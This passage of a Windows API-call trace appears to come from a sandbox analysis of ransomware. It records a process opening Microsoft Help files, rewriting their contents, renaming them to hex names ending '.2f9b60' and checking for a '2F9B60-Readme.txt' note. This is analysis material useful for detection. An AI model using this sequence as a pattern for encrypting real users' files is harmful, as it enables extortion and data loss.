lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x20affc70*=0x126, lpOverlapped=0x0) returned 1 [0087.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0087.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79def0 [0087.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b3e0 [0087.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b3e0) returned 1 [0087.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1cd9eeb0 [0087.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b3e0 [0087.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1d0 [0087.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b1d0) returned 1 [0087.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79def0) returned 1 [0087.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0087.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x69) returned 0x1b79def0 [0087.139] sprintf (in: _Dest=0x1b79def0, _Format="%c%c" | out: _Dest="76") returned 2 [0087.139] sprintf (in: _Dest=0x1b79def2, _Format="%c%c" | out: _Dest="af") returned 2 [0087.139] sprintf (in: _Dest=0x1b79def4, _Format="%c%c" | out: _Dest="fb") returned 2 [0087.139] sprintf (in: _Dest=0x1b79def6, _Format="%c%c" | out: _Dest="46") returned 2 [0087.139] sprintf (in: _Dest=0x1b79def8, _Format="%c%c" | out: _Dest="14") returned 2 [0087.139] sprintf (in: _Dest=0x1b79defa, _Format="%c%c" | out: _Dest="c7") returned 2 [0087.139] sprintf (in: _Dest=0x1b79defc, _Format="%c%c" | out: _Dest="50") returned 2 [0087.139] sprintf (in: _Dest=0x1b79defe, _Format="%c%c" | out: _Dest="4e") returned 2 [0087.139] sprintf (in: _Dest=0x1b79df00, _Format="%c%c" | out: _Dest="b2") returned 2 [0087.139] sprintf (in: _Dest=0x1b79df02, _Format="%c%c" | out: _Dest="da") returned 2 [0087.139] sprintf (in: _Dest=0x1b79df04, _Format="%c%c" | out: _Dest="2b") returned 2 [0087.139] sprintf (in: _Dest=0x1b79df06, _Format="%c%c" | out: _Dest="76") returned 2 [0087.139] sprintf (in: _Dest=0x1b79df08, _Format="%c%c" | out: _Dest="e8") returned 2 [0087.139] sprintf (in: _Dest=0x1b79df0a, _Format="%c%c" | out: _Dest="17") returned 2 [0087.139] sprintf (in: _Dest=0x1b79df0c, _Format="%c%c" | out: _Dest="68") returned 2 [0087.139] sprintf (in: _Dest=0x1b79df0e, _Format="%c%c" | out: _Dest="d0") returned 2 [0087.139] sprintf (in: _Dest=0x1b79df10, _Format="%c%c" | out: _Dest="e0") returned 2 [0087.139] sprintf (in: _Dest=0x1b79df12, _Format="%c%c" | out: _Dest="3b") returned 2 [0087.139] sprintf (in: _Dest=0x1b79df14, _Format="%c%c" | out: _Dest="95") returned 2 [0087.139] sprintf (in: _Dest=0x1b79df16, _Format="%c%c" | out: _Dest="d6") returned 2 [0087.139] sprintf (in: _Dest=0x1b79df18, _Format="%c%c" | out: _Dest="a4") returned 2 [0087.139] sprintf (in: _Dest=0x1b79df1a, _Format="%c%c" | out: _Dest="c6") returned 2 [0087.139] sprintf (in: _Dest=0x1b79df1c, _Format="%c%c" | out: _Dest="8c") returned 2 [0087.139] sprintf (in: _Dest=0x1b79df1e, _Format="%c%c" | out: _Dest="50") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df20, _Format="%c%c" | out: _Dest="45") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df22, _Format="%c%c" | out: _Dest="23") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df24, _Format="%c%c" | out: _Dest="cb") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df26, _Format="%c%c" | out: _Dest="c0") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df28, _Format="%c%c" | out: _Dest="45") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df2a, _Format="%c%c" | out: _Dest="59") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df2c, _Format="%c%c" | out: _Dest="35") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df2e, _Format="%c%c" | out: _Dest="42") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df30, _Format="%c%c" | out: _Dest="ef") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df32, _Format="%c%c" | out: _Dest="21") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df34, _Format="%c%c" | out: _Dest="52") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df36, _Format="%c%c" | out: _Dest="45") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df38, _Format="%c%c" | out: _Dest="a2") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df3a, _Format="%c%c" | out: _Dest="d1") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df3c, _Format="%c%c" | out: _Dest="49") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df3e, _Format="%c%c" | out: _Dest="c9") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df40, _Format="%c%c" | out: _Dest="9b") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df42, _Format="%c%c" | out: _Dest="c3") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df44, _Format="%c%c" | out: _Dest="45") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df46, _Format="%c%c" | out: _Dest="0f") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df48, _Format="%c%c" | out: _Dest="bd") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df4a, _Format="%c%c" | out: _Dest="99") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df4c, _Format="%c%c" | out: _Dest="1e") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df4e, _Format="%c%c" | out: _Dest="06") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df50, _Format="%c%c" | out: _Dest="ce") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df52, _Format="%c%c" | out: _Dest="36") returned 2 [0087.140] sprintf (in: _Dest=0x1b79df54, _Format="%c%c" | out: _Dest="f4") returned 2 [0087.141] sprintf (in: _Dest=0x1b79df56, _Format="%c%c" | out: _Dest="00") returned 2 [0087.141] RtlInitAnsiString (in: DestinationString=0x20affce8, SourceString="76affb4614c7504eb2da2b76e81768d0e03b95d6a4c68c504523cbc045593542ef215245a2d149c99bc3450fbd991e06ce36f400" | out: DestinationString="76affb4614c7504eb2da2b76e81768d0e03b95d6a4c68c504523cbc045593542ef215245a2d149c99bc3450fbd991e06ce36f400") [0087.141] RtlAnsiStringToUnicodeString (in: DestinationString=0x20affcb8, SourceString="76affb4614c7504eb2da2b76e81768d0e03b95d6a4c68c504523cbc045593542ef215245a2d149c99bc3450fbd991e06ce36f400", AllocateDestinationString=1 | out: DestinationString="76affb4614c7504eb2da2b76e81768d0e03b95d6a4c68c504523cbc045593542ef215245a2d149c99bc3450fbd991e06ce36f400") returned 0x0 [0087.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd2) returned 0x1b776770 [0087.141] wcscat (in: _Dest=0x1b85c840, _Source="76affb4614c7504eb2da2b76e8" | out: _Dest="C:\\ProgramData\\Microsoft Help\\76affb4614c7504eb2da2b76e8") returned="C:\\ProgramData\\Microsoft Help\\76affb4614c7504eb2da2b76e8" [0087.141] wcscat (in: _Dest=0x1b85c840, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\76affb4614c7504eb2da2b76e8.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\76affb4614c7504eb2da2b76e8.2f9b60" [0087.141] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\76affb4614c7504eb2da2b76e8.2f9b60", NtPathName=0x20affc90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\76affb4614c7504eb2da2b76e8.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0087.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1b7a59c0 [0087.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a59c0) returned 1 [0087.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0087.143] NtQueryInformationFile (in: FileHandle=0x970, IoStatusBlock=0x20affcf8, FileInformation=0x20affd08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x20affcf8, FileInformation=0x20affd08) returned 0x0 [0087.143] NtSetInformationFile (FileHandle=0x970, IoStatusBlock=0x20affcf8, FileInformation=0x20affd08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0087.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c840) returned 1 [0087.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776770) returned 1 [0087.145] FlushFileBuffers (hFile=0x970) returned 1 [0087.146] CloseHandle (hObject=0x970) returned 1 [0087.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c20c0 [0087.146] wcscpy (in: _Dest=0x1b7c20c0, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0087.147] wcscat (in: _Dest=0x1b7c20c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0087.147] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0087.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c20c0) returned 1 [0087.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79df70) returned 1 Thread: id = 216 os_tid = 0xc90 [0087.149] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.14.1033.hxn")) returned 0x2022 [0087.150] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0087.150] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x970 [0087.150] GetFileSizeEx (in: hFile=0x970, lpFileSize=0x20bafc60 | out: lpFileSize=0x20bafc60*=344) returned 1 [0087.150] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.151] ReadFile (in: hFile=0x970, lpBuffer=0x20bafbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x20bafc28, lpOverlapped=0x0 | out: lpBuffer=0x20bafbe0*, lpNumberOfBytesRead=0x20bafc28*=0x4, lpOverlapped=0x0) returned 1 [0087.151] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b410 [0087.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2f0 [0087.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b3b0 [0087.152] NtQuerySystemTime (in: CurrentTime=0x20bafb20 | out: CurrentTime=0x20bafb20*=132462176930302000) returned 0x0 [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x2040cc59 [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x77433a17 [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x7af250d0 [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x1c2751c6 [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x1d34564a [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x257d551b [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x2c87692d [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x8039e05 [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x4b530ae8 [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x323f8e3e [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x6b7239d0 [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0xa6f1dc3 [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x52890b46 [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x70c4e247 [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x6a38b018 [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x351a7d34 [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x42dfec6 [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x7fc48e46 [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x76f6a4a2 [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x4ca1b3d8 [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x21c382db [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x442fe80c [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x1c462286 [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x3c3699a8 [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x46970afd [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x416200cd [0087.152] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x3c4d19b5 [0087.153] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x4a36769e [0087.153] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x7c212a8b [0087.153] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x442931eb [0087.153] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x7d8213b7 [0087.153] RtlRandomEx (in: Seed=0x20bafb10 | out: Seed=0x20bafb10) returned 0x451ca8c3 [0087.161] ReadFile (in: hFile=0x970, lpBuffer=0x1cde08c0, nNumberOfBytesToRead=0x158, lpNumberOfBytesRead=0x20bafb10, lpOverlapped=0x0 | out: lpBuffer=0x1cde08c0*, lpNumberOfBytesRead=0x20bafb10*=0x158, lpOverlapped=0x0) returned 1 [0087.161] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.161] WriteFile (in: hFile=0x970, lpBuffer=0x1cde44d0*, nNumberOfBytesToWrite=0x158, lpNumberOfBytesWritten=0x20bafb14, lpOverlapped=0x0 | out: lpBuffer=0x1cde44d0*, lpNumberOfBytesWritten=0x20bafb14*=0x158, lpOverlapped=0x0) returned 1 [0087.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b410 [0087.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b3b0 [0087.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b3b0) returned 1 [0087.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde44d0) returned 1 [0087.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cde08c0) returned 1 [0087.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79df70) returned 1 [0087.163] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97210) returned 1 [0087.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c) returned 0x1cd97210 [0087.163] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0087.163] WriteFile (in: hFile=0x970, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x20bafc30, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x20bafc30*=0x120, lpOverlapped=0x0) returned 1 [0087.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd972b0 [0087.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79df70 [0087.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b350 [0087.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b350) returned 1 [0087.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9eeb0 [0087.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b350 [0087.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b3e0 [0087.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b3e0) returned 1 [0087.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79df70) returned 1 [0087.167] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd972b0) returned 1 [0087.167] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x1b7c20c0 [0087.167] sprintf (in: _Dest=0x1b7c20c0, _Format="%c%c" | out: _Dest="78") returned 2 [0087.167] sprintf (in: _Dest=0x1b7c20c2, _Format="%c%c" | out: _Dest="b7") returned 2 [0087.167] sprintf (in: _Dest=0x1b7c20c4, _Format="%c%c" | out: _Dest="9b") returned 2 [0087.167] sprintf (in: _Dest=0x1b7c20c6, _Format="%c%c" | out: _Dest="df") returned 2 [0087.167] sprintf (in: _Dest=0x1b7c20c8, _Format="%c%c" | out: _Dest="eb") returned 2 [0087.167] sprintf (in: _Dest=0x1b7c20ca, _Format="%c%c" | out: _Dest="b0") returned 2 [0087.167] sprintf (in: _Dest=0x1b7c20cc, _Format="%c%c" | out: _Dest="e7") returned 2 [0087.167] sprintf (in: _Dest=0x1b7c20ce, _Format="%c%c" | out: _Dest="10") returned 2 [0087.167] sprintf (in: _Dest=0x1b7c20d0, _Format="%c%c" | out: _Dest="3e") returned 2 [0087.167] sprintf (in: _Dest=0x1b7c20d2, _Format="%c%c" | out: _Dest="83") returned 2 [0087.167] sprintf (in: _Dest=0x1b7c20d4, _Format="%c%c" | out: _Dest="21") returned 2 [0087.167] sprintf (in: _Dest=0x1b7c20d6, _Format="%c%c" | out: _Dest="64") returned 2 [0087.167] sprintf (in: _Dest=0x1b7c20d8, _Format="%c%c" | out: _Dest="53") returned 2 [0087.167] sprintf (in: _Dest=0x1b7c20da, _Format="%c%c" | out: _Dest="28") returned 2 [0087.168] sprintf (in: _Dest=0x1b7c20dc, _Format="%c%c" | out: _Dest="df") returned 2 [0087.168] sprintf (in: _Dest=0x1b7c20de, _Format="%c%c" | out: _Dest="5c") returned 2 [0087.168] sprintf (in: _Dest=0x1b7c20e0, _Format="%c%c" | out: _Dest="be") returned 2 [0087.168] sprintf (in: _Dest=0x1b7c20e2, _Format="%c%c" | out: _Dest="96") returned 2 [0087.168] sprintf (in: _Dest=0x1b7c20e4, _Format="%c%c" | out: _Dest="85") returned 2 [0087.168] sprintf (in: _Dest=0x1b7c20e6, _Format="%c%c" | out: _Dest="3d") returned 2 [0087.168] sprintf (in: _Dest=0x1b7c20e8, _Format="%c%c" | out: _Dest="20") returned 2 [0087.168] sprintf (in: _Dest=0x1b7c20ea, _Format="%c%c" | out: _Dest="bf") returned 2 [0087.168] sprintf (in: _Dest=0x1b7c20ec, _Format="%c%c" | out: _Dest="26") returned 2 [0087.168] sprintf (in: _Dest=0x1b7c20ee, _Format="%c%c" | out: _Dest="9c") returned 2 [0087.168] sprintf (in: _Dest=0x1b7c20f0, _Format="%c%c" | out: _Dest="9c") returned 2 [0087.168] sprintf (in: _Dest=0x1b7c20f2, _Format="%c%c" | out: _Dest="2c") returned 2 [0087.168] sprintf (in: _Dest=0x1b7c20f4, _Format="%c%c" | out: _Dest="42") returned 2 [0087.169] sprintf (in: _Dest=0x1b7c20f6, _Format="%c%c" | out: _Dest="3b") returned 2 [0087.169] sprintf (in: _Dest=0x1b7c20f8, _Format="%c%c" | out: _Dest="18") returned 2 [0087.169] sprintf (in: _Dest=0x1b7c20fa, _Format="%c%c" | out: _Dest="64") returned 2 [0087.169] sprintf (in: _Dest=0x1b7c20fc, _Format="%c%c" | out: _Dest="57") returned 2 [0087.169] sprintf (in: _Dest=0x1b7c20fe, _Format="%c%c" | out: _Dest="c0") returned 2 [0087.169] sprintf (in: _Dest=0x1b7c2100, _Format="%c%c" | out: _Dest="cd") returned 2 [0087.169] sprintf (in: _Dest=0x1b7c2102, _Format="%c%c" | out: _Dest="84") returned 2 [0087.169] sprintf (in: _Dest=0x1b7c2104, _Format="%c%c" | out: _Dest="fe") returned 2 [0087.169] sprintf (in: _Dest=0x1b7c2106, _Format="%c%c" | out: _Dest="5e") returned 2 [0087.169] sprintf (in: _Dest=0x1b7c2108, _Format="%c%c" | out: _Dest="97") returned 2 [0087.169] sprintf (in: _Dest=0x1b7c210a, _Format="%c%c" | out: _Dest="0d") returned 2 [0087.169] sprintf (in: _Dest=0x1b7c210c, _Format="%c%c" | out: _Dest="b4") returned 2 [0087.169] sprintf (in: _Dest=0x1b7c210e, _Format="%c%c" | out: _Dest="36") returned 2 [0087.169] sprintf (in: _Dest=0x1b7c2110, _Format="%c%c" | out: _Dest="30") returned 2 [0087.169] sprintf (in: _Dest=0x1b7c2112, _Format="%c%c" | out: _Dest="39") returned 2 [0087.169] sprintf (in: _Dest=0x1b7c2114, _Format="%c%c" | out: _Dest="28") returned 2 [0087.169] sprintf (in: _Dest=0x1b7c2116, _Format="%c%c" | out: _Dest="2c") returned 2 [0087.170] sprintf (in: _Dest=0x1b7c2118, _Format="%c%c" | out: _Dest="50") returned 2 [0087.170] sprintf (in: _Dest=0x1b7c211a, _Format="%c%c" | out: _Dest="58") returned 2 [0087.170] RtlInitAnsiString (in: DestinationString=0x20bafca8, SourceString="78b79bdfebb0e7103e8321645328df5cbe96853d20bf269c9c2c423b186457c0cd84fe5e970db4363039282c5058" | out: DestinationString="78b79bdfebb0e7103e8321645328df5cbe96853d20bf269c9c2c423b186457c0cd84fe5e970db4363039282c5058") [0087.170] RtlAnsiStringToUnicodeString (in: DestinationString=0x20bafc78, SourceString="78b79bdfebb0e7103e8321645328df5cbe96853d20bf269c9c2c423b186457c0cd84fe5e970db4363039282c5058", AllocateDestinationString=1 | out: DestinationString="78b79bdfebb0e7103e8321645328df5cbe96853d20bf269c9c2c423b186457c0cd84fe5e970db4363039282c5058") returned 0x0 [0087.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x118540 [0087.170] wcscat (in: _Dest=0x1b85c840, _Source="78b79bdfebb0e7103e83216" | out: _Dest="C:\\ProgramData\\Microsoft Help\\78b79bdfebb0e7103e83216") returned="C:\\ProgramData\\Microsoft Help\\78b79bdfebb0e7103e83216" [0087.170] wcscat (in: _Dest=0x1b85c840, _Source=".2f9b60" | out: _Dest="C:\\ProgramData\\Microsoft Help\\78b79bdfebb0e7103e83216.2f9b60") returned="C:\\ProgramData\\Microsoft Help\\78b79bdfebb0e7103e83216.2f9b60" [0087.170] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\78b79bdfebb0e7103e83216.2f9b60", NtPathName=0x20bafc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\78b79bdfebb0e7103e83216.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0087.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x1b7ad840 [0087.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad840) returned 1 [0087.172] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0087.172] NtQueryInformationFile (in: FileHandle=0x970, IoStatusBlock=0x20bafcb8, FileInformation=0x20bafcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x20bafcb8, FileInformation=0x20bafcc8) returned 0x0 [0087.172] NtSetInformationFile (FileHandle=0x970, IoStatusBlock=0x20bafcb8, FileInformation=0x20bafcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0087.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c840) returned 1 [0087.173] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118540) returned 1 [0087.173] FlushFileBuffers (hFile=0x970) returned 1 [0087.174] CloseHandle (hObject=0x970) returned 1 [0087.175] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c20c0 [0087.175] wcscpy (in: _Dest=0x1b7c20c0, _Source="C:\\ProgramData\\Microsoft Help\\" | out: _Dest="C:\\ProgramData\\Microsoft Help\\") returned="C:\\ProgramData\\Microsoft Help\\" [0087.175] wcscat (in: _Dest=0x1b7c20c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt") returned="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" [0087.175] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\2F9B60-Readme.txt" (normalized: "c:\\programdata\\microsoft help\\2f9b60-readme.txt")) returned 0x2020 [0087.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c20c0) returned 1 [0087.175] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 Thread: id = 217 os_tid = 0xc94 [0087.185] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.dev.14.1033.hxn")) returned 0x2022 [0087.186] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0087.187] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.POWERPNT.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.powerpnt.dev.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x970 [0087.187] GetFileSizeEx (in: hFile=0x970, lpFileSize=0x204ff920 | out: lpFileSize=0x204ff920*=368) returned 1 [0087.187] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x16c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.187] ReadFile (in: hFile=0x970, lpBuffer=0x204ff8a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x204ff8e8, lpOverlapped=0x0 | out: lpBuffer=0x204ff8a0*, lpNumberOfBytesRead=0x204ff8e8*=0x4, lpOverlapped=0x0) returned 1 [0087.188] SetFilePointerEx (in: hFile=0x970, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b440 